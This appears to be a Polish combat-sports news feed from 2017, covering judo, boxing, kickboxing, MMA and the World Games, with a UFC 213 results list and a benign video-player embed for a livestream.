Natalia Brzykcy (+78kg) zdobyła srebro, a Dominika Mateuszczyk (52kg) brąz na XXIII Letnich Igrzyskach Głuchych, które odbywają się w Samsun.
Rywalizacja rozgrywana w ciszy, ale każdy zawodnik wkłada całe serce, aby walczyć o jak najlepszy wynik. Ogromna determinacja i zaangażowanie osób głuchych pokazuje, że zawsze warto sięgać po marzenia.
Złoto było o krok
Zawodniczka poznańskiej Akademii Judo nie zwalnia tempa. W ubiegłym roku została podwójną mistrzynią świata w Samun. Ale to nie były pierwsze osiągnięcie Brzykcy. Wcześniej judoczka zdobyła srebrny medal mistrzostw Europy 2013 w Erywaniu, a dwa lata później sięgnęła po brąz Igrzysk Olimpijskich Głuchych.
Ten rok również obfituje w sukcesy w wykonaniu zawodniczki poznańskiego klubu. W Gruzji, podczas mistrzostw Europy, wywalczyła brąz w drużynie. Z wielkimi nadziejami jechała do Samsun. Brzykcy szła jak burza i wygrała dwie walki przed czasem. Dopiero w finale zatrzymała ją Natalia Drozdova z Rosji. Polka musi zadowolić się srebrem, choć triumf był blisko. Brzykcy może dopisać kolejny sukces do swojego bogatego dorobku.
33-latka lubi Samsun
Początkowo Mateuszczyk uprawiała lekkoatletykę w barwach AZS-u Gdańsk. Z czasem m.in. ze względu na mniejsze obciążenia treningowe zdecydowała się wybrać judo. Decyzja okazała się strzałem w dziesiątkę. 33-letnia zawodniczka Wars Warszawa odnosi sukcesy w rywalizacji głuchych w judo. W 2013 roku w Igrzyskach Olimpijskich Niesłyszących zajęła czwarte miejsce. Z kolei w 2015 roku sięgnęła po brąz mistrzostw Europy, które odbywały się w Armenii.
Wyjątkowym miejscem dla Mateuszczyk jest Samsun, gdzie rok temu osiągnęła największy sukces w karierze. Reprezentantka Polski wywalczyła dwa złote medale – w rywalizacji indywidualnej i drużynowej. W lipcu br. Mateuszczyk ponownie odwiedziła tureckie Samsun, któremu przypadła rola gospodarza XXIII Letnich Igrzyskach Głuchych. 33-letnia judoczka ma powody do radości. Choć początek zmagań w Turcji nie zwiastował sukcesu, to na koniec rywalizacji Polka mogła się uśmiechnąć. W ćwierćfinale przez ippon przegrała z Anną Shostak. Ukrainka potrzeba do zwycięstwa 44 sekund. Z kolei w starciu o brąz Mateuszczyk była górą i bardzo szybko rozprawiła się z Białorusinką Aliną Tsishkovets.
W ćwierćfinale Assel Maxutova okazała się zbyt mocna dla Agnieszki Brzykcy (70kg). Szansą dla Polki były repasaże, jednak w nich przegrała z Fatoumatą Dite.
Fot. Facebook Poland-Deaflympics'2017
KM
Ostatnie dni są wyjątkowe w życiu boksera Michała Syrowatki. W Londynie 29-latek znokautował Robbiego Daviesa Jr i sięgnął po pas WBA Continental kategorii super lekkiej. Dzięki temu znalazł się na czwartym miejscu w rankingu organizacji.
Na krajowym podwórku Syrowatka nie raz udowadniał, że ma potencjał. W Londynie stoczył pierwszy pojedynek poza granicami kraju, który zarazem stanowił dla niego wielką szansę.
Prezent dla mamy
W dotychczasowej karierze Syrowatka przegrał tylko jedną walkę. Półtora roku temu bokser z Ełku przegrał „u siebie” z doświadczonym Rafałem Jackiewiczem. Jednak niecałe pół roku później zrewanżował się byłemu mistrzowi Europy. Na kolejnych galach prezentował się wręcz perfekcyjnie i odprawił rywali. Przez wielu Syrowatka uznawany jest za najlepszego polskiego boksera w limicie do 63,5kg.
15 lipca w Londynie 29-latek stoczył najważniejszą walkę w karierze. W Londynie zmierzył się z Robbie'm Daviesem Jr. Od marca 2016 roku 27-latek dzierżył w swoich dłoniach pas WBA Continental, na swoim koncie miał 15 wygranych walk, w tym 11 przed czasem i ani jednej porażki. Syrowatka sprawił niespodziankę i pokonał wyżej notowanego rywala. Polak znokautował Daviesa w dwunastej rundzie, choć w dziewiątej sam był liczony.
29-letni pięściarz z Ełku wygrał najważniejszą walkę w karierze i otworzył sobie drzwi do rywalizacji o stawkę. Syrowatka wkroczył do czołówki wagi super lekkiej. A wygrana w Londynie stanowiła prezent urodzinowy dla jego mamy.
Pokonaniu Daviesa sprawiło, że Syrowatka znalazł się w najnowszym rankingu federacji World Boxing Association. Polak został sklasyfikowany na czwartym miejscu, wcześniej nie był uwzględniany w notowaniu. Polak marzy o walce o mistrzostwo świata. Pas należy do Juliusa Indongo. Teraz Syrowatka musi wykonać następny krok i potwierdzić swoją wartość. Kolejna wygrana może sprawić, że coraz głośniej będzie mówiło się o ewentualnym starciu Polaka o pas mistrza świata.
Miejsca pozostałych Polaków
Sprawdzamy miejsca pozostałych polskich bokserów w najnowszym zestawieniu WBA. W kategorii junior ciężkiej wysoko stoją akcje Mateusza Masternaka i Krzysztofa Włodarczyka, którzy znaleźli się na drugiej i trzeciej pozycji. Podczas czerwcowej gali PBN „Master” pokonał Ismaila Sillaha, a w maju „Diablo” wygrał z Noelem Gevorem. Warto dodać, że były mistrz świata WBC i IBF niebawem zmierzy się z czempionem IBF Muratem Gasijewem. Starcie odbędzie się w ramach turnieju World Boxing Super Series.
Fot. Michał Syrowatka Facebook
KM
Zapraszamy na transmisję telewizyjną na żywo z konferencji prasowych Polskiego Związku Kickboxingu podczas igrzysk sportów nieolimpijskich The World Games we Wrocławiu.
Program transmisji:
25 lipca (wtorek) – godz. 18.00
26 lipca (środa) – godz. 18.00
27 lipca (czwartek) – godz. 18.00
ZAPRASZAMY!!!
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PZKB_TWG2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PZKB_TWG2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PZKB_TWG2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PZKB_TWG2017.livx"
},
autofocus: false,
rendererPriority: ["dash", "html5", "silverlight"],
skin: "red",
// —
splashscreen: "http://r.dcs.redcdn.pl/file/o2/Marklaw/twg-logo.png",
poster: "http://r.dcs.redcdn.pl/file/o2/Marklaw/twg-logo.png",
autoplay: false,
// —
width: 640,
height: 385,
autoplay: false,
});
Odliczanie do startu Sportowych Igrzysk Olimpijskich (The World Games). Przez dziesięć dni zawodnicy będą walczyć o medale w 31 dyscyplinach. Wśród nich są m.in. sumo, jiu jitsu, muaythai oraz kickboxing.
Wielkie święto sportu rozpocznie się 20 lipca i potrwa do 30 lipca. Światowe Igrzyska Sportowe odbędą się po raz dziesiąty. Kibice będą mogli odkryć wiele nowych dyscyplin i zagłębić się w szczegóły. Dla sportów walki to także okazja na promocję na własnej ziemi.
Dostali zaproszenie
Kickboxing to niezwykle efektowny sport, który zyskuje coraz większą popularność. Cały czas dyscyplina przebija się na popularność. W tym roku kibice będą mogli podziwiać zawodników we Wrocławiu. Kickboxing znalazł się wśród dyscyplin, które dostały „zaproszenie” na Światowe Igrzyska Sportowe. W każdej kategorii zaprezentuje się po ośmiu zawodników.
Początkowo we Wrocławiu mieliśmy zobaczyć dziewięcioro naszych reprezentantów, ale Polska otrzymała kolejne dzikie karty. Podczas Światowych Igrzysk Sportowych zaprezentują się Wojciech Kazieczko (67kg) i Aleksander Kalicki (63kg), którzy dołączyli do: Małgorzaty Dymus, Róży Gumiennej, Dawida Kasperskiego, Mateusza Pluty, Arkadiusza Kaszuby, Marty Waliczek, Marcina Kreta, Michała Ronkiewcza i Michała Turyńskiego. Wszyscy nasi kickboxerzy legitymują się sporym doświadczeniem na poziomie międzynarodowym, wielu zasmakowało rywalizacji w walkach zawodowych. Mamy mocny team, który stać na dobre wyniki.
Powtórzyć sukces
Liczymy na polskie medale w jiu jitsu. W naszej kadrze zabraknie Anny Polok (70kg), która cztery lata w Cali zdobyła złoty medal w ne waza. Obecnie zawodniczka pochłonięta jest macierzyństwem. We Wrocławiu zobaczymy medalistów z poprzednich igrzysk: Martynę Bierońską (55kg), Emilię Maćkowiak (70kg) i Tomasza Szewczaka (94kg), którzy sięgnęli po srebrne krążki. We Wrocławiu umiejętności zaprezentują również: Maciej Kozak, Maciej Polok, Rafał Riss oraz Jędrzej Loska.
Warto dodać, że cztery lata temu w Cali biało-czerwoni wywalczyli sześć medali, w tym cztery zdobyli zawodnicy rywalizujący w jiu jitsu.
W Hali Orbita zaprezentują się nasi sumocy. Kadra biało-czerwonych liczy dziesięć nazwisk: Magada Macios, Monika Skiba, Olimpia Robakowska, Marina Rozum, Jagoda Mazurek, Paweł Wojda, Patryk Swora, Aron Rozum, Michał Luto i Jacek Piersiak.
Będziemy również ściskać kciuki za naszych reprezentantów w muaythai. We Wrocławiu wystąpią m.in. znane z gal Ladies Fight Night Natalia Leciejewska i Marta Gusztab. Ponadto, w hali Orbita zaprezentują się: Gabriela Kuzawińska, Przemysław Kmiecik, Mateusz Kucharski, Oskar Siegert, Mateusz Janik, Jakub Rajewski, Dawid Mirkowski, Rafał Korczak i Łukasz Radosz.
KM
Za półtora miesiąca rozpoczną się mistrzostwa świata w judo w Budapeszcie. Do stolicy Węgier wybiera się 14-osobowa reprezentacja Polski.
Na przełomie sierpnia i września judocy będą walczyli o medale w Budapeszcie. W miniony weekend dwóch z naszych reprezentantów stanęło na podium Pucharu Europy w Saarbruecken. Kolejny był o krok od medalu. Czy wszyscy nasi kadrowicze wypracowali już odpowiednią formę?
8:6
Kiedyś mówiło się o kobietach na traktorach, teraz coraz częściej widzimy je za kierownicą autobusów. A i w polityce pojawiło się pojęcie parytetu. Również w sporcie kobiety mają swoje miejsce. Nie inaczej jest w przypadku tatami, jednak przeważnie liczba startujących pań jest niższa niż mężczyzn. W naszej kadrze proporcje wyglądają inaczej. Do Budapesztu uda się 8 kobiet i 6 mężczyzn, a w rywalizacji indywidualnej zaprezentuje się odpowiednio 6 judoczek i 4 judoków.
Agata Perenc (52kg) przygotowuje formę na start w Budapeszcie. Judoczka okazała się najlepsza w Pucharze Europy w Bukareszcie, co było jej największym osiągnięciem w dotychczasowych startach. W gazie jest również Anna Borowska (57kg). 23-latka triumfowała w Casablance i Pradze. W stolicy Czech po srebro sięgnęła Beata Pacut (78kg), brązowy medal wywalczyła Agata Ozdoba (63kg). Do Budapesztu pojadą także Karolina Pieńkowska (52kg) i Karolina Tałach (63kg). Wszystkie będą startowały w rywalizacji indywidualnej. Warto dodać, że w kwietniowych mistrzostwach Europy nasza żeńska kadra sięgnęła po srebrny medal.
W stolicy Węgier w rywalizacji indywidualnej zaprezentuje się czterech Polaków. Po raz kolejny Piotr Kuczera (90kg) będzie naszą medalową nadzieją. W tym roku wygrywał w Katowicach i Rzymie. Z dobrej strony w mistrzostwach Europy pokazał się Maciej Sarnacki (+100kg). Zawodnik Gwardii Olsztyn w Warszawie był piąty. O medal mistrzostw świata powalczą również Aleksander Beta (66kg) i Damian Szwarnowiecki (81kg).
Z kolei w rywalizacji drużynowej trenerzy będą mogli postawić na Arletę Podolak (57kg), Annę Załęczną (+70kg), Wiktora Mrówczyńskiego (73kg), Patryka Ciechomskiego (90kg) oraz Kamila Grabowskiego (+100kg).
Przed dwoma laty w Astanie biało-czerwoni nie wywalczyli żadnego medalu. Najlepiej zaprezentowała się Daria Pogorzelec (78kg), która była piąta.
Dwa medale z Niemiec
W miniony weekend judocy rywalizowali o punkty do światowego rankingu w Saarbruecken. Na tatami zaprezentowało się 16 polskich zawodników.
Kolejny dobry występ w tym sezonie zaliczył Piotr Kuczera. Brązowy medalista mistrzostw Europy seniorów z 2016 roku wygrał pięć pojedynków. W trzeciej walce przegrał z Dario Kurbjeweitem Garcią, jednak poradził sobie w repasażach. Z kolei w starciu o brąz Polak pokonał wicemistrza świata z 2014 roku Krisztiana Totha.
Brąz wywalczył również Kamil Grabowski (+100kg), który wygrał cztery z pięciu walk.
KM
Starcie dwóch debiutantów w kickboxerskiej organizacji Glory w Madison Square Garden w Nowym Jorku. Itay Gershon jednogłośną decyzją sędziów pokonał Rafała Dudka.
W kwietniu gruchnęła informacja o podpisaniu przez zawodnika z Nowego Sącza kontraktu z Glory. Na jego debiut przyszło nam czekać kilka miesięcy. „Pierwsze śliwki robaczywki”, ale liczymy, że po zakończeniu kolejnego pojedynku ręce w górę będzie mógł wznieść Polak.
Wściekły Dudek
33-letni zawodnik ma bogaty bagaż doświadczeń. Na krajowym uchodzi za czołowego fightera wagi lekkiej. W swojej karierze prezentował się na galach legendarnej holenderskiej organizacji It's Showtime. Dudek zwrócił na siebie uwagę podczas ubiegłorocznego występu w programie Enfusion Reality, który był nagrywany w Tajlandii. Rywalizowali w nim czołowi kickboxerzy w kategorii do 70kg, a Polak dał kilka efektownych walk. W efekcie zajął trzecie miejsce. Dudek prezentował się również na galach organizacji DSF. W czerwcu stoczył walkę z Rafałem Jackiewiczem, która wzbudziła ogromne zainteresowanie. Dudek wygrał na punkty.
14 lipca przypadł jego debiut w organizacji Glory. Los skojarzył 33-latka z Itayem Gershonem, który w swojej karierze rywalizował już z polskimi zawodnikami. Fighter z Izraela pokonał Marcina Parchetę i Mateusza Kopca. Debiut Dudka i Gershona w Glory nastąpił w miejscu szczególnym, gdzie odbywają się największe pojedynki. Madison Square Garden – to mówi samo za siebie.
Rafałowi Dudkowi nie można odmówić ambicji. Dzielnie walczył przez trzy rundy, jednak to Gershon zadał więcej ciosów, miał optyczną przewagę i sędziowie wskazali na niego. – Więcej trafiałem rękami – rywal dużo więcej kopał, ale serio żadne kopnięcie nie zrobiło na mnie wrażenia i może to mnie uśpiło. Moja wina – i jestem na siebie wściekły! Zawalczyłem źle – wiem o tym, taka ważna walka i w takim stylu ja przegrać na własne życzenie! – ocenia na swoim facebooku Rafał Dudek.
Trzeba dalej pracować
Sport to chwile radości, ale i gorzkich łez. Nie zawsze się wygrywa i trzeba umieć pogodzić się z porażką. Zacisnąć zęby i dalej pracować. Dudek przegrał w debiucie w Glory, ale podpisał kontrakt na trzy walki, więc w kolejnych starciach musi pokazać, że zasłużył na tę szansę. – Wnioski już zostały wyciągnięte… Ale o tym będzie jeszcze mowa. Dziękuję za kibicowanie i wsparcie.
Nie chowam głowy w piasek – trzeba umieć przegrywać! – podkreśla Dudek.
KM
Na ringu w Nowym Jorku dojdzie do polskiego starcia w wadze ciężkiej. 15 lipca na gali Premier Boxing Champions Artur Szpilka zmierzy się z Adamem Kownackim.
Środowe (12 lipca), ostatnie przed ważeniem, spotkanie bokserów przebiegło w spokojnej atmosferze, choć wcześniej nie szczędzili sobie kąśliwych uwag. Oby w ringu nie zabrakło mocnych ciosów i efektownych wymian.
Inne cele
Są w tym samym wieku, nie mają włosów na głowie (albo mają ich niewiele) i rywalizują w wadze ciężkiej, gdzie niejednego rywala rozłożyli na łopatki. Szpilka miał już okazję walczyć o mistrzostwo świata. W styczniu ubiegłego roku przegrał przez nokaut w dziewiątej rundzie z czempionem WBC Deontayem Wilderem. Na zupełnie innym biegunie jest Adam Kownacki. 28-latek mieszkający w USA zbiera doświadczenie na tamtejszych ringach i jeszcze nigdy nie przegrał.
Od początku starcie budzi ogromne emocje. A to ze względu na fakt, że Szpilka i Kownacki nie szczędzą sobie gorzkich słów. W pewnym momencie „Szpila” podkreślił, że rywal działa mu na nerwy, ale użył zdecydowanie mocniejszych słów. Z kolei Kownacki zapowiadał, że jest w doskonałej formie i zakończy pojedynek z byłym pretendentem do pasa WBC przed czasem.
Szpilka i Kownacki są w zupełnie innym miejscu. 28-latek urodzony w Wieliczce wraca po półtorarocznej przerwie. Miał walczyć wcześniej, ale ostatecznie nie doszło do jego starcia z Dominikiem Breazeale'm. Szpilka jest głodny walki i rywalizacji o najwyższą stawkę. W jego przypadku liczy się tylko zwycięstwo. Porażka w starciu z Kownackim sprawi, że „Szpila” stanie się jednym z wielu pięściarzy wagi ciężkiej, a nie postrzeganym jako kandydat do rywalizacji o pasy.
Z kolei Kownackim staje przed wielką szansą. Dotychczas stoczył 15 walk, ma na swoim koncie komplet zwycięstw. 12 pojedynków wygrał przed czasem. W tym roku pokonał przed czasem Joshuą Tufte'a. Wygrana z pięściarzem formatu Szpilki może być dla Kownackiego przepustką do wielkiej kariery. Popularny „Baby Face” zapewnia, że dobrze przepracował okres przygotowawczy i jego rywal ma się, czego obawiać.
Przewaga Szpilki
Doświadczenie to atut, którym bez wątpienia może pochwalić się Artur Szpilka. 28-latek stoczył więcej walk o stawkę niż jego najbliższy rywal. „Szpila” rywalizował już z takimi pięściarzami jak Bryant Jennings, Tomasz Adamek czy Deontay Wilder. Takiego bagażu doświadczeń nie ma za sobą Adam Kownacki.
Wszystko zweryfikuje jednak ring. Kownacki w Nowym Jorku jeszcze nie przegrał. Inaczej jest w przypadku Szpilki. To właśnie w tym mieście 28-latek doznał dwóch porażek w zawodowej karierze.
KM
Floyd Mayweather Jr. to synonim sukcesu i wielkich pieniędzy. „Money” wraca ze sportowej emerytury, żeby w Las Vegas zmierzyć się w arcyciekawym pojedynku z zawodnikiem MMA Conorem McGregorem. Ruszyła promocja walki, a zarazem na jaw wyszły problemy finansowe Amerykanina.
Przez lata 40-latek był na ustach wszystkich. Wygrywał, zgarniał ogromne gaże za kolejne walki i był symbolem sukcesu. Na głową wielkiego mistrza boksu zebrały się czarne chmury. Okazało się, że Mayweather Jr. ma długi i zalega z podatkami.
McGregor pomoże
Starcie boksera i zawodnika MMA, które odbędzie się 26 sierpnia w Las Vegas budzi ogromne emocje. Mayweather i McGregor ruszyli w trasę promującą walkę. Spojrzeli sobie prosto w oczy w Los Angeles, a w planach mają kolejne miasta. Walka ma przynieść ogromne dochody. Mayweather zaprzyjaźnił się z wielkimi pieniędzmi, a dla McGregora byłaby to pierwsza okazja, aby zarobić krocie.
Okazuje się jednak, że to Mayweather znajduje się w potrzebie. Ponoć zalega z podatkami. Amerykański pięściarz zapewniał na swoim instagramie, że tak nie jest. – Wujek Sam otrzymał ode mnie 26 000 000 dolarów w 2015 roku! Czego jeszcze mogliby chcieć? – napisał Mayweather. – Moje imperium jest solidne i nienaruszone – zapewniał pięściarz.
40-letni Mayweather zalega z zapłaceniem aż 22,2 miliona dolarów podatku za 2015 rok. Amerykański Urząd Podatkowy naciska na boksera, aby ten uregulował należności. W 2015 roku Mayweather stoczył walkę stulecia z Manny Pacquiao. Cały świat patrzył na walkę Amerykanina z Filipińczykiem, a ci mogli liczyć zyski. „Money” zgarnął ponad ćwierć miliarda dolarów. Mayweather zapłacił część należnego podatku. Urząd naciskał, aby pięściarz uregulował całość, jednak jego prawnicy złożyli pismo o możliwość spłaty zaległości pod koniec sierpnia. Ratunkiem dla Mayweathera pozostaje więc… McGregor.
Zachować spokój
W tej chwili doświadczonemu bokserowi nie pozostaje nic innego jak zachować spokój. Ma sztab prawników, który dba o jego interesy. Za walkę z McGregorem 40-letni pięściarz zgarnie grubo ponad 100 milionów dolarów. Spokojnie spłaci zadłużenie, ale będzie musiał pamiętać o zapłaceniu podatku.
26 sierpnia w Las Vegas będzie toczyła się rozgrywka o wielką kasę. Tygodnie poprzedzające walkę zapowiadają się niezwykle gorące, a kolejne konferencje prasowe zapowiadają się ciekawie. Dlaczego? Bo „show must go on”. A wiadomo, że gra toczy się o wysoką stawkę.
KM
Mówi się, że kot ma dziewięć żyć. Ta liczba prześladowała polskich judoków w Gdyni, gdzie odbył się Puchar Europy juniorów. Biało-czerwoni zdobyli dziewięć medali i w klasyfikacji medalowej uplasowali się na dziewiątej pozycji.
Do pełni szczęścia zabrakło jedynie złota. Polacy zdobyli trzy srebrne medale i sześć brązowych. Najlepsi okazali się Rosjanie, którzy w swoim dorobku zapisali… dziewięć krążków, w tym cztery złote.
Ponownie na podium
Polakom udało się poprawić ubiegłoroczny wynik z zawodów w Gdyni, kiedy zdobyli siedem medali. Po raz kolejny na podium Pucharu Europy w mieście położonym nad Bałtykiem stanęli Julia Kowalczyk (57kg), Jakub Ozimek (90kg) oraz Kacper Szczurowski (100kg).
19-letnia Kowalczyk coraz pewniej poczyna sobie na tatami wśród seniorów. W światowym rankingu zajmuje 41. miejsce. Kolejne starty w rywalizacji juniorskiej potwierdzają talent Kowalczyk. Miesiąc temu w Leibnitz była trzecia. W Gdyni judoczka Polonii Rybnik uchodziła za jedną z faworytek do triumfu. Kowalczyk stopniowo realizowała swój plan, ale w drodze do finału stoczyła trzy ciężkie boje. W rywalizacji o złoto musiała uznać wyższość Belgijki Miny Libeer. Tym samym Polka powtórzyła ubiegłoroczny wynik z Gdyni.
20-letni Kacper Szczurowski dotarł w Gdyni do finału. W drodze do walki o złoto pokonał trzech rywali, w tym mocnego Białorusina Daniela Mukete, który w maju wygrał zawody w Kownie (Polak był tam trzeci). Finałowe starcie z Simeonem Cathariną niezwykle zacięte, ale to mistrz świata kadetów z 2015 roku cieszył się z triumfu. Z kolei Szczurowski poprawił się względem ubiegłorocznego startu w Gdyni, gdzie zdobył brąz.
Gdy Jakub Ozimek startuje w Polsce wiadomo, że stanie na podium. Tak było dwa lata temu we Wrocławiu i w ubiegłym roku w Gdyni. Tym razem nie mogło być inaczej. Ozimek wywalczył brązowy medal, na co złożyły się trzy zwycięstwa. W półfinale Polak poległ z późniejszym triumfatorem Iuriim Bozhą.
W Gdyni o krok od zwycięstwa była Klaudia Cieślik (52kg). 19-latka błysnęła w majowym Pucharze Europy w Kownie, gdzie zajęła drugie miejsce. Wynik powtórzyła w Gdyni. Cieślik ponownie musiała uznać wyższość Myrian Blavier, z którą przegrała również na Litwie.
Mogło być więcej medali
Polacy łącznie zdobyli dziewięć medali. Oprócz wyżej wymienionych, brązowe krążki zawisły na szyjach: Paulina Dziopy (78kg), Anity Formeli (+78kg), Aleksandry Kalety (52kg), Aleksandry Polkowskiej (44kg) i Sebastiana Marcinkiewicza (81kg). Biało-czerwoni mieli więcej szans medalowych. Walki o miejsca na podium przegrały: Zuzanna Komarek (57kg), Julia Księżyk (+78kg), Izabella Olejnik (44kg) i Eliza Wróblewska (70kg).
Łącznie w Gdyni zaprezentowało się 335 judoków. Pierwsze skrzypce grali Rosjanie, Belgowie i Francuzi.
Fot. wikipedia
KM
Daniel Omielańczuk poniósł trzecią porażkę z rzędu. Na gali UFC 213 w Las Vegas Polak przegrał jednogłośną decyzją sędziów z Curtisem Blaydesem.
Sytuacja 34-letniego fightera z Warszawy w najlepszej organizacji MMA na świecie stała się trudna. Ostatnie zwycięstwo w UFC Omielańczuk zanotował rok temu.
Doświadczenie to za mało
Curtis Blaydes to niezwykle efektownie walczący zawodnik. Co prawda swoją przygodę z UFC zaczął od porażki z Francisem Ngannou, jednak dwa kolejne pojedynki wygrał przed czasem. Na przeciwległym biegunie znajdował się Omielańczuk. Po dwóch porażkach z rzędu nad głową Polaka zebrały się czarne chmury.
26-letni Amerykanin nigdy w karierze nie walczył w pełnym wymiarze czasu. W Las Vegas to się zmieniło. Omielańczuk nie był tłem dla młodszego o osiem lat rywala, jednak Blaydes dyktował warunki. Amerykanin prowadził walkę, szukał sprowadzeń do parteru, ale Polak dobrze radził sobie w obronie. Gorzej było w ataku, 34-latek zadawał jedynie pojedyncze ciosy. Polak nie potrafił znaleźć recepty na rywala i o wszystkim decydowali sędziowie. Żaden z nich nie miał wątpliwości, kto w tym pojedynku zasłużył na wygraną. Blaydes odniósł ósme zwycięstwo w karierze, a trzecie w UFC. Z kolei dla Omielańczuka była to już piąta porażka w najlepszej organizacji MMA na świecie przy czterech triumfach.
Zmiana planów
W Las Vegas pasa w kategorii koguciej, w starciu z Valentiną Shevchenko, miała bronić Amanda Nunes. Obie zawodniczki rywalizowały ze sobą na UFC 196 i na dystansie trzech rund lepsza okazała się Brazylijka. Do rewanżu jednak nie doszło. Na kilka godzin przed galą Nunes trafiła do szpitala. Pojedynek wyłączony z karty walk, a głównym wydarzeniem wieczoru było starcie o pas kategorii średniej pomiędzy Yoelem Romero a Robertem Whittakerem. Po pięciurundowym boju lepszy okazał się 26-letni Australijczyk.
Wyniki UFC 213:
185 lbs: Robert Whittaker pokonał Yoela Romero jednogłośną decyzją (3 x 48-47)
265 lbs: Alistair Overeem pokonał Fabricio Werduma większościową decyzją (2 x 29-28, 28-28)
265 lbs: Curtis Blaydes pokonał Daniela Omielańczuka jednogłośną decyzją (3 x 30-27)
155 lbs: Anthony Pettis pokonał Jima Millera jednogłośną decyzją (3 x 30-27)
135 lbs: Rob Font pokonał Douglasa Andrade przez poddanie w drugiej rundzie
265 lbs: Alexey Oleinik pokonał Travisa Browne przez poddanie w drugiej rundzie
170 lbs: Chad Laprise pokonał Briana Camozziego przez TKO w trzeciej rundzie
185 lbs: Thiago Santos pokonał Geralda Meerschaerta przez TKO w drugiej rundzie
170 lbs: Belal Muhammad pokonał Jordana Meina jednogłośną decyzją (2 x 29-28, 30-27)
145 lbs: Cody Stamann pokonał Terriona Ware jednogłośną decyzją (2 x 30-27, 29-28)
205 lbs: Trevin Giles pokonał Jamesa Bochnovica przez KO w drugiej rundzie
fot. sherdog
KM
Jeszcze kilka miesięcy temu ta walka wydawała się abstrakcją. 26 sierpnia w Las Vegas niepokonany na bokserskim ringu Floyd Mayweather Jr. zmierzy się z pierwszym w historii mistrzem dwóch kategorii wagowych w UFC Conorem McGregorem. Przed zawodnikami trasa promująca pojedynek.
W tym przypadku nie ma wątpliwości, że główni aktorzy postarają się, aby stworzyć niezapomniane widowisko. Walka budzi ogromne zainteresowanie, a przypuszczalne zyski przyprawiają o ból głowy.
Zdecydowany faworyt
Pojedynek odbędzie się na zasadach bokserskich, a więc nie ma wątpliwości, że Floyd Mayweather Jr. może spać spokojnie. Amerykanin wygrał 49. walk na zawodowym ringu i postanowił zakończyć karierę. Ostatni raz „Money” boksował we wrześniu 2015 roku, kiedy pokonał Andre Berto. Przez wielu Mayweather uchodzi za najlepszego pięściarza ostatnich lat, zdobywał tytuły mistrzowskie w pięciu kategoriach wagowych. Rywalizacja z gwiazdą MMA skusiła go, aby stoczyć jeszcze jedną walkę.
Z kolei Conor McGregor to największa postać UFC. Pierwszy zawodnik, który zdobył pasy w dwóch kategoriach wagowych (piórkowej i lekkiej). 29-letni Irlandczyk potrafi efektownie walczyć i zawsze robi wszystko, aby było o nim głośno. McGregor ma spore umiejętności bokserskie, ale w zestawieniu z Mayweatherem nie wypada najlepiej. Bukmacherzy zdecydowanie wskazują, że faworytem walki jest Amerykanin.
Pojedynek ma przełamać wszelkie schematy. Do ringu wejdą bokser i zawodnik MMA. Obaj mają stworzyć niezapomniane widowisko, które przyciągnie tłumy i stanie się prawdziwym sukcesem finansowym. Dla Conora McGregora starcie z Mayweatherem to szansa na rekordowy zarobek. Irlandczyk może zgarnąć nawet 100 milionów dolarów. Dla porównania, za ubiegłoroczny pojedynek z Nate'm Diazem mistrz UFC zgarnął tylko 3 miliony. Dodatkowo – szacuje się, że dochody z sierpniowego starcia mogą pobić wynik z walki Mayweathera z Manny Pacquiao, który wyniósł ponad 620 milionów dolarów.
Niektórzy zapytają, ile starcie Amerykanina i Irlandczyka będzie miało wspólnego ze sportem. Z pewnością to dobrze zaplanowane przedsięwzięcie, które rysuje się jak rozrywka na najwyższym poziomie. Nie tylko dla fanów boksu i MMA, ale także poszukujących ciekawych wydarzeń.
Trasa promocyjna
Sierpniowa walka Mayweathera z McGregorem wzbudza ogromne zainteresowanie. Ciągle jest o niej głośno, ale główni aktorzy zadbają o to, aby nie zeszła ona z ust milionów przez najbliższe tygodnie. Mayweather i McGregor będą promowali starcie w kilku miastach.
11 lipca zawodnicy mają pojawić się w Los Angeles. Bokser i zawodnik MMA odwiedzą również Houston, Toronto, Nowy Jork i stadion Wembley w Londynie. Dokładne daty konferencji prasowych nie są jednak znane.
KM
W T-Mobile Arenie w Las Vegas Daniel Omielańczuk stoczy dziewiątą walkę w UFC. 8 lipca rywalem polskiego zawodnika będzie groźny Curtis Blaydes.
Podczas gali UFC 213 odbędzie się dwanaście walk. W Las Vegas zaprezentują się m.in. Anthony Pettis, Amanda Nunes, Fabricio Werdum, Yoel Romero czy Alistair Overeem. Oczy polskich kibiców zwrócone będą na Daniela Omielańczuka.
Łatwo nie będzie
Po raz ostatni Daniel Omielańczuk zwycięstwo w UFC świętował blisko rok temu. 13 lipca w Denny Sanford Premier Center w Sioux Falls zawodnik z Warszawy pokonał Alekseja Olejnika. Dla Omielańczuka był to trzeci triumf z rzędu. Zawodnik mógł z nadzieją patrzeć w przyszłość, ale kolejne walki nie ułożyły się po myśli Polaka. W październiku Omielańczuk przegrał przez poddanie w drugiej rundzie ze Stefanem Struve'em, a następnie nie dał rady Timothy'emu Johnsonowi.
„Raz na wozie, raz pod wozem”. Rok temu Daniel Omielańczuk znajdował się w znakomitym położeniu, teraz sytuacja jest zgoła odmienna. Wydaje się, że zawodnikowi grunt pali się pod nogami, ale jak już pokazał – potrafi sobie radzić w trudnych sytuacjach. Do walki z Chrisem de la Rochą na UFC Fight Night 72 w Glasgow przystępował po dwóch porażkach z rzędu. Kolejna mogła zakończyć przygodę Polaka z amerykańską organizacją, jednak ten zastopował rywala w niecałe 50 sekund.
W Las Vegas Omielańczuk będzie musiał wspiąć się na wyżyny. Curtis Blaydes to niezwykle mocny przeciwnik, który występy w UFC rozpoczął w kwietniu ubiegłego roku. W debiucie przegrał z Francisem Ngannou, a następnie wygrał dwa pojedynki. 26-latek łącznie ma na koncie siedem zwycięstw i wszystkie zanotował przed czasem. Amerykanin robi wszystko, aby ponownie doprowadzić do rewanżu z Ngannou, który jest w czołówce kategorii ciężkiej.
Omielańczuk nie będzie faworytem w starciu z Blaydesem. Musi wspiąć się na wyżyny, aby nadal liczyć się w rywalizacji z najlepszymi. Wygrana w walce z Amerykaninem przybliży Polaka do dziesiątej walki w UFC, która mogłaby przypaść na 21 października, kiedy amerykańska organizacja przygotuje wydarzenie w Gdańsku.
Mistrzyni wraca do Las Vegas
